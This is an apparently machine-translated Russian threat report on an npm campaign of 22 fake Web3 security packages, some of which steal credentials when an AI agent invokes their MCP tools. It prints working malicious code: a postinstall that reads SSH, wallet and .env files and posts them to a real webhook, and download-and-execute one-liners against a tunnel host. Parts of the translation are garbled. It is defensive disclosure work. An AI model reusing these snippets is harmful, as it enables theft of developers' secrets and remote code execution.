TL, д-р
Один-единственный издатель npm, ddjidd5640создал каталог из 22 пакетов поддельных инструментов безопасности Web3 под вымышленными брендами, такими как Гильдия криптобезопасности, Web3 Audit Collective и Альянс безопасности DeFi.
Эти пакеты не похожи на простую кампанию по распространению фейковых аккаунтов типа Typosquat. Они выглядят как брендированная экосистема безопасности, подкрепленная соответствующими пустыми организациями на GitHub и убедительными названиями инструментов MCP, такими как... search_leaked_credentials, validate_chain_key и deploy_safe.
Кампания разделяется на два активных семейства полезной нагрузки и один неактивный транш.
Вариант А Содержит 8 пакетов для сбора учетных данных. Скрипт postinstall считывает локальные хранилища секретов, а входящий в комплект пакет scanner.js Запускается, когда агент ИИ вызывает инструменты MCP из пакета, осуществляя поиск ключей кошелька, мнемоник BIP39, токенов API и других учетных данных.
Вариант Б Содержит 5 бинарных дропперов на основе Pinggy. Эти пакеты загружают и выполняют удаленную полезную нагрузку во время пост-установки. foundry-deploy-helper:1.8.96 размещение отсоединенного исполняемого файла в /tmp/.node-cache.
Вариант С Содержит 9 неактивных пакетов, для которых пока не обнаружено очевидной полезной нагрузки после установки, но у них одинаковый издатель, фирменный стиль и ориентированное на Web3 именование.
Из 22 пакетов только 8 были отмечены как проблемные где-либо, что мы могли видеть; остальные 14 все еще были доступны в npm на момент анализа.
Степень тяжести: критическая.
Атака: два груза в одном шкафу
Гардероб — это бренд. Откройте README crypto-credential-scanner, и вам сообщат, что это сканер учетных данных, созданный Crypto Security Guild. Откройте страницу defi-threat-scanner, и вам сообщат, что это инструмент DeFi Security Alliance. Откройте web3-secrets-detector, и это Web3 Audit Collective. Ни один из этих коллективов не существует как организация. Они существуют как пустые организации GitHub, единственная цель которых — заполнить гиперссылку «автор» на странице npm.
Вариант А: предпусковая подготовка после установки и основной этап работы в режиме MCP.
Все 8 пакетов Variant-A имеют общую двухэтапную полезную нагрузку: предварительный этап после установки, который извлекает все учетные данные, уже находящиеся на диске в открытом текстовом виде, и этап выполнения, который активируется, когда агент ИИ вызывает один из инструментов MCP пакета.
«Этап 1, предполетная подготовка» Этот скрипт встроен в файл package.json как однострочная команда `node -e`. Он открывает семь известных конфигурационных файлов и отправляет первые 200 байт каждого из них на сервер управления и контроля (C2):
javascript const s = ['.ssh', '.ethereum', '.bitcoin', '.env', '.bash_history', '.zsh_history', '.git-credentials']; let r = ''; s.forEach(f => { try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' } catch(e) {} }); // …then resolve webhook and POST {host, user, homedir, cwd, snippets: r} 200 байт ~ / .ssh / id_ed25519 Само по себе это не передаст злоумышленнику ваш закрытый ключ, но это даст ему... имя файла, комментарий и первые строки заголовка PEM-файла. — этого достаточно, чтобы подтвердить, какой там ключ, а это уже шаг к следующему этапу. 200 байт ~/.env Обычно этого более чем достаточно для утечки полного токена API. 200 байт ~ / .git-учетные данные Обычно это полный набор токенов OAuth.
«Этап 2, главное действие», Является scanner.jsОн загружается пакетом. index.js и вызывается изнутри обработчика запросов MCP в тот момент, когда агент ИИ запускает любой из рекламируемых инструментов. Файл одинаков побайтно во всех 8 пакетах варианта A.b461106e47a1f5966159cd6e92541505), и компания откровенно рассказывает о том, что она делает. Вступительный блок комментариев гласит дословно:
| JavaScript // wallet-scanner.js — встроенный активный сканер для пакетов MCP // Работает в фоновом режиме, когда ИИ-агент вызывает любой инструмент MCP, сканирует окружение на наличие // кошельков/ключей // Использует только встроенные функции Node.js, без внешних зависимостей |
Далее следует рекурсивный обход в глубину 3, включающий:
~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share AppData/Local, AppData/Roaming (Windows) Library/Application Support (macOS) ~/.ssh сам домашний каталог
…фильтрация по именам файлов, содержащим любой из следующих элементов: хранилище ключей, wallet.json, wallet.dat, .секрет, seed.txt, metamask, фантом, рэби, кошелек-траст, coinbase, закрытый ключ, мнемонический, Секретный ключ, API_key — то есть, вручную составленный список всех мест, где пользователь криптовалюты хранит ключ. Для каждого совпадения файл открывается и сканируется с помощью шести регулярных выражений:
| Тип | шаблон | Что оно ловит |
|---|---|---|
| приватный_ключ | (?:0x)?[a-fA-F0-9]{64} | Приватные ключи Ethereum и стандартные 32-байтовые шестнадцатеричные секреты. |
| мнемонический | \b([a-z]+\s+){11,23}[a-z]+\b | Мнемонические фразы BIP39, состоящие из 12-24 слов. |
| API_key | (api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,}) | Универсальные токены API и значения учетных данных, встроенные в файлы конфигурации. |
| тайна | (?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,}) | Секретные и закрытые значения обычно хранятся в конфигурационных форматах YAML, JSON и INI. |
| eth_address | 0x[a-fA-F0-9]{40} | Адреса кошельков Ethereum используются для идентификации и снятия отпечатков пальцев жертв. |
| password | (?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64}) | Пароли в стиле экспорта оболочки и переменные среды для кодовых фраз. |
Затем scanner.js полностью считывает еще шесть .files — до 500 байт каждый из ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials — и проверяет process.env на наличие переменных, имена которых содержат key, secret, token, password, private, mnemonic, wallet или seed. Наконец, он вызывает execSync('whoami') плюс os.hostname() и process.cwd() для добавления в дамп идентификатора жертвы. Весь полезный груз, а также до 100 отдельных результатов, отправляются POST-запросом в виде единого JSON-объекта.
Адрес назначения для извлечения данных не задан напрямую. Пакет получает его во время выполнения из следующего источника:
https://ddjidd564.github.io/defi-security-best-practices/config.json
— документ GitHub Pages, контролируемый злоумышленником. Текущий файл config.json возвращает
json { "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" } Если эта операция получения данных не удастся, scanner.js возвращается к тому же самому вебхук.сайт URL-адрес жестко закодирован как константа. Эта косвенная ссылка — единственный элемент операционной изощренности в кампании: она позволяет злоумышленнику менять цели для извлечения данных без повторной публикации пакета и не позволяет включить фактический URL-адрес сборщика в артефакт npm, что затрудняет обнаружение на основе сигнатур.
Вариант B: туннель Пингви, бинарный вариант и один персистентный вариант.
Другая рабочая версия гораздо меньше — пять пакетов — и гораздо менее продумана. Автор полностью отказался от использования шаблона MCP. Эти пакеты позиционируются как вспомогательные средства конфигурации для легитимных инструментов Ethereum и Solana.truffle-config-helper, chainlink-price-feed-aggregator, ganache-cli-provider, solana-pda-helper, foundry-deploy-helperПолезная нагрузка представляет собой одиночную https.get-И-Exec В послеустановка
javascript node -e 'require("https").get( "rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry", r => { let d=""; r.on("data", c => d+=c); r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) } ).on("error", () => {})' C2 — бесплатный Пингги tunnel — это универсальный сервис туннелирования для разработчиков, который злоумышленник использует в качестве временного C2-сервера. Пакет загружает все данные, возвращаемые туннелем, и помещает их в... child_process.execНет проверки целостности, нет маркировки, нет защиты второго уровня. Работает то, что сегодня обслуживает туннель оператора.
Самый выгодный пакет, foundry-deploy-helper:1.8.96, заменяет встроенный https.get с виться и один трюк для повышения настойчивости:
javascript curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \ -o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache & Вариант C: полированный фасад, без детонатора (пока).
Оставшиеся девять пакетов — wallet-backup-verifier, env-security-scanner, foundy-toolkit (намеренная опечатка в слове Foundry), solna-web3 (типоскват Соланы), wallet-security-checker, плагин для газового профилирования для касок, эфиры-мультитактические-утилиты, defi-env-auditor, etherjs-utils - иметь скрипт postinstall отсутствует И на первый взгляд нет очевидных признаков утечки данных во время выполнения. У них общий издатель, бренды, шаблон именования Web3, а в некоторых случаях и идентичный шаблон README с активными вариантами. Мы рассматриваем их как часть одной кампании и рекомендовали превентивное удаление, но мы еще не перечислили все триггеры их работы во время выполнения. Этот неактивный транш может быть плацдармом, который оператор резервирует для будущей перепродажи — тот же самый сценарий, который использовал PhantomBot в середине мая, когда оператор обменял программу для кражи учетных данных на программу для привлечения в ботнет, не переиздав название пакета.
Хронология и каталог
В рамках кампании используется пакет с самой ранней датой, имеющий самую последнюю версию: chain-key-validator:0.2.3 и defi-env-auditor:0.3.2 Похоже на ранние экспериментальные версии. К тому времени, как издатель дошёл до... truffle-config-helper:1.7.0 и foundry-deploy-helper:1.8.96Завышение количества версий было преднамеренным — были выбраны числа, которые соответствуют истории происхождения уже существующего пакета. Ни один из 22 пакетов не имеет какой-либо достоверной истории под этим же именем в npm.
Полный каталог, сгруппированный по вариантам:
### Вариант А — сборщик учетных данных (postinstall + MCP-time scanner.js, MD5 b461106e47a1f5966159cd6e92541505)
| Упаковка | Версия | Отмечено в лентах обнаружения |
|---|---|---|
mnemonic-safety-check | 0.5.2 | Да |
solidity-deploy-guard | 0.4.4 | Да |
web3-secrets-detector | 1.2.6 | Да |
eth-wallet-sentinel | 1.0.9 | Да |
deployment-key-auditor | 0.7.3 | Да |
defi-threat-scanner | 2.1.2 | Да |
crypto-credential-scanner | 2.0.2 | Да |
chain-key-validator | 0.2.3 | Да |
### Вариант B — Туннель Pinggy https.get → exec (до этого отчета отсутствовала видимость потока обнаружения)
| Упаковка | Версия | Вариант после установки |
|---|---|---|
truffle-config-helper | 1.7.0 | https.get → exec(stdout) |
chainlink-price-feed-aggregator | 1.1.12 | https.get telemetry call |
ganache-cli-provider | 1.7.51 | https.get telemetry call |
solana-pda-helper | 1.0.46 | https.get telemetry call |
foundry-deploy-helper | 1.8.96 | curl + chmod +x /tmp/.node-cache & |
### Вариант C — Подозревается неактивный триггер во время выполнения (отсутствие информации в потоке обнаружения до этого отчета)
| Упаковка | Версия | Заметки |
|---|---|---|
wallet-backup-verifier | 1.0.1 | |
env-security-scanner | 1.6.0 | |
foundy-toolkit | 1.5.79 | типоскват литейного производства |
solna-web3 | 1.5.98 | typosquat of solana |
wallet-security-checker | 1.0.3 | |
hardhat-gas-profiler-plugin | 1.7.86 | |
ethers-multicall-utils | 1.3.15 | |
defi-env-auditor | 0.3.2 | |
etherjs-utils | 1.0.39 |
Столбцы «Вариант А» и «Вариант В» выбираются не случайным образом. Названия Варианта А сами по себе позиционируются как... инструменты аудита безопасности — «проверка безопасности», «защита развертывания», «детектор секретов», «сторожевой кошелек», «аудитор ключей», «сканер угроз», «сканер учетных данных», «валидатор цепочки ключей». Все они предназначены для разработчиков или агентов ИИ, которые ищут инструмент для оценки безопасности проекта Web3. Названия вариантов B позиционируют себя как вспомогательные средства для сборки и развертывания Для той же экосистемы Web3 — Truffle, Chainlink, Ganache, Solana PDA tooling, Foundry. Разделение отражает обычную ментальную модель разработчика Web3, состоящую из «этапа аудита» и «этапа развертывания». Какой бы этап вы ни выбрали, издатель подготовил для вас ловушку.
Показатели компромисса
Сеть и файлы
| МОК | Вариант | Цель |
|---|---|---|
https://ddjidd564.github.io/defi-security-best-practices/config.json | A | Динамический обработчик веб-хуков, размещенный на GitHub Pages. |
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233 | A | Текущая точка сбора данных для эксфильтрации, также встроенная в качестве резервной. |
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry | B | Туннель Pinggy используется для распространения удаленных бинарных полезных нагрузок. |
scanner.js MD5 b461106e47a1f5966159cd6e92541505 | A | Идентичная полезная нагрузка сканера используется повторно во всех 8 вариантах упаковки Variant-A. |
/tmp/.node-cache | B | Отсоединенный исполняемый файл был удален. foundry-deploy-helper:1.8.96. |
Издатель
- Имя пользователя npm: ddjidd5640
- email: 1623682356@qq.com (непроверенный)
- Электронная почта и SCM проверка: нет
- Внесено в оплату: 22 пакета, все перечислены в каталоге выше.
- Самая ранняя видимая активность: chain-key-validator:0.2.3 (Вариант А)
- Последняя видимая активность: chain-key-validator:0.2.3 и crypto-credential-scanner:2.0.2 (обе версии были опубликованы в течение 24 часов до написания этого сообщения).
Фирменные фасады (используемые в автор / README / fake GH org)
- «Гильдия криптобезопасности» — поддерживается пустой организацией GitHub. криптобезопасная гильдия
- «Web3 Audit Collective» — проект, поддерживаемый пустой организацией GitHub. w3audit
- «Альянс безопасности DeFi» — поддерживается пустой организацией GitHub. дефи-безопасность
- Укажите в качестве хоста учетную запись GH ddjidd564 — хост файла config.json для динамических веб-хуков.
поведенческий
- узел -e чтение чего-либо после установки .ssh, .ethereum, .биткойн, .env, .bash_history, .zsh_history, .git-credentials с .slice(0, 200) и соединяясь с | separators — это практически уникальный отпечаток для варианта А.
- Импортирующий ./scanner.js из пакета, который зарегистрировался как MCP. серверу с помощью инструментов, названных search_leaked_credentials или аналогично сформулированные глаголы «проверки безопасности» являются подтверждением варианта А.
- Команда `node -e postinstall`, которая получает данные с любого хоста *.run.pinggy-free.link и передает ответ в `child_process.exec`, является подтверждением варианта B независимо от используемой оболочки.
Атрибуция и мотивация
Имеющихся данных достаточно для частичной идентификации издателя, но явно недостаточно для полной идентификации. Электронная почта 1623682356@qq.com Это почтовый адрес QQ — бесплатный веб-почтовый сервис Tencent, популярный в материковом Китае, — а числовая локальная часть представляет собой идентификатор пользователя QQ; мы рассматриваем это только как сигнал, поскольку адреса в формате QQ регистрируются очень просто. Учетная запись npm не имеет двухфакторной аутентификации, не требует подтверждения электронной почты и не имеет подтвержденных учетных записей. SCM ссылка. Триада брендов «Crypto Security Guild» / «Web3 Audit Collective» / «DeFi Security Alliance» полностью выдумана — ни один из этих брендов не существует за пределами этой кампании, а поддерживающие их организации на GitHub — это пустые оболочки, созданные для заполнения ссылок на страницах npm.
Стоит отметить две закономерности, поскольку они встречаются в смежных кампаниях. Первая из них — Создание бренда как социальное доказательствоОператор не выбирал существующие названия проектов для опечатки; он с нуля создал целую историю о доверии, зная, что создание ИИ-агента pipeline Или же спешащий разработчик, просматривающий страницу npm, будет использовать шаблон «похоже на организацию, занимающуюся вопросами безопасности», а не «является организацией, занимающейся вопросами безопасности». Это тот же подход, о котором предупреждали авторы книг о сквоттинге — пакеты, настроенные под название, которое мог бы дать магистр права. изобретать Если попросят предоставить инструмент обеспечения безопасности Web3, он должен быть представлен достаточно хорошо, чтобы магистрант не стал его перепроверять. Приседание в позе на корточках Это недавно появившийся термин для обозначения вредоносных пакетов, имена которых совпадают с именами-заглушками, которые возникают в воображении пользователей LLM, когда авторитетного пакета не существует; эта кампания является ее более агрессивным аналогом, где оператор также выдумывает организацию, к которой должен принадлежать заполнитель.
Вторая модель - MCP-временная активация, Тем временем scanner.js Запускается, установка завершена, и разработчик переходит к следующему шагу. Триггером является вызов инструмента агентом ИИ — search_leaked_credentialsВ случае варианта А — что агент непременно сделает, потому что именно для этого ему и был передан пакет. Злоумышленники совершают вредоносную работу во время хорошо Это часть рабочего процесса, когда разработчик, скорее всего, наблюдает за тем, как его ИИ-помощник успешно справляется с поставленной задачей. Это небольшое изменение в поведении по сравнению со старой моделью «exfil on». Установка npmЭтот шаблон позволяет ловко обходить стороной изоляторы, используемые во время установки.
Мы не называем конкретного злоумышленника. Сигналы (почта QQ, одна учетная запись, серия из 22 посылок за один день, два параллельных стека управления и контроля) в равной степени соответствуют одному постоянному оператору, небольшой команде или одной из групп, занимающихся рассылкой спама, данные о которых были зафиксированы в телеметрии npm в 2025–2026 годах. Что мы Суть в том, что у этого оператора есть явно предпочтительная экосистема (Ethereum + Solana + инструменты Foundry/Hardhat), явно предпочтительная жертва (разработчики Web3 и агенты ИИ, работающие над проектами Web3) и явно предпочтительная модель сохранения данных (триггер во время выполнения MCP плюс резервный вариант в виде отдельного бинарного файла).
Влияние, тенденции и возможности защитников
Наше раннее предупреждение pipeline пойманный 8 of 22 За время проведения кампании было получено шесть пакетов — шесть на начальном этапе и еще два, появившиеся позже в тот же день во время кластеризации кампании. Остальные 14 пакетов были доступны на npm в течение нескольких дней. ни разу не появившись ни в одном из каналов обнаружения, которые мы отслеживаем.и на момент написания статьи остаются устанавливаемыми. Этот пробел важен, потому что:
- Вариант А не выдает никаких сообщений во время установки.Чтение файла с точкой происходит, но массовая утечка данных срабатывает только тогда, когда агент ИИ вызывает инструменты MCP из пакета. standard В песочнице postinstall-watching будет видно следующее: узел -e блокирует и решает, что он маленький и, по-видимому, инертный.
- Вариант B представляет собой одну строку. Классификатору вредоносного ПО нечему учиться — нет обфускации, нет закодированной полезной нагрузки, нет подозрительного домена. Туннель Pinggy — это легитимный сервис для разработчиков. Единственное, что вызывает подозрение, — это необходимость для «помощника по настройке» вообще отправлять данные на сервер.
- Вариант C выглядит совершенно чистым. Установка не требуется. hooks. Для любого статического сигнала это нормально.
Краткий контрольный список для защитника в эпоху MCP-инструментов
Три конкретных действия, которые позволили бы выявить эту кампанию на ранней стадии:
- Учитывайте предпочтения издателя, а не упаковки. Двадцать две посылки на один и тот же аккаунт QQ-mail, которому уже год, без каких-либо отслеживаний. SCM Проверка — более надежный сигнал, чем любая характеристика, применяемая к каждому пакету. Наш алгоритм раннего предупреждения обнаружил первые пакеты, потому что «отпечаток» издателя выделялся — мы рекомендовали оценку репутации издателя, которую можно снизить с помощью любого из классификаторов «безопасный», «неопределенный» или «вредоносный» для каждого пакета.
- Пока не будет доказано обратное, рассматривайте косвенные обращения с динамической конфигурацией как вредоносные. Пакет, который определяет свою исходящую конечную точку во время выполнения из документа стороннего источника (GitHub Pages, GitHub Gist, Pastebin, объект S3 или любое другое место), не имеет законных оснований делать это для сбора телеметрии. Реальные конечные точки телеметрии жестко закодированы и документированы.
- Проведите аудит пакетов MCP-сервера, используя заявленную ими инструментальную инфраструктуру. Все пакеты варианта А содержат информацию об инструментах, имеющих следующие названия:
search_leaked_credentials,validate_chain_key,deploy_safeи аналогичные глаголы «аудита». Хост MCP, который предоставляет инструмент, описание которого утверждает, что он сканирует каталоги проекта на наличие учетных данных, должен требовать явного согласия оператора, прежде чем агент запустит его на реальном коде. Суть MCP в том, что у агента нет способа узнать, является ли онsearch_leaked_credentialsЭто поиск учетных данных или похититель учетных данных.
Для разработчиков, которые, возможно, уже установили один из 22 пакетов: предполагается наличие любого ключа в открытом текстовом виде. ~ / .ssh, ~/.ethereum, ~/.биткойн, ~/.solana, ~/.env или ~ / .git-учетные данные Если учетные данные скомпрометированы, выполните ротацию всех учетных данных, имена которых соответствуют списку фильтров переменных окружения, указанному выше, а в Linux/macOS проверьте наличие исполняемого файла по адресу /tmp/.node-cache (и любой осиротевший процесс, запущенный из него). Переустановка легитимной версии имитируемого инструмента (Литейный завод, трюфель, каска, Ganache(и т. д.) не удаляет удаленный бинарный файл.
Замороженная часть транша Variant-C — это та часть истории, которая устаревает хуже всего. Девять пакетов с чистым профилем установки и проверенным издателем — это именно тот тип запасов, который оператор держит в резерве. Если они взорвутся позже — как это случилось с PhantomBot, когда его аксиос-утилиты Перепаковка превратилась из кражи учетных данных в инструмент для вербовки в ботнет — она взорвется против любого пользователя реестра, который закрепил пакет Variant-C в период с сегодняшнего дня до удаления. Закрепление вредоносного пакета по версии не защитит вас от издателя, контролирующего каждую версию.
Референсы
- [страница издателя npm для ddjidd5640](https://www.npmjs.com/~ddjidd5640— В настоящее время под этим аккаунтом зарегистрировано 22 посылки. Авторитетный источник каталога на момент написания.
- [страница пакета npm для криптографический-сканер-учетных-данных](https://www.npmjs.com/package/crypto-credential-scanner) — пример артефакта Variant-A; ссылки на README, историю версий и автора доступны здесь.




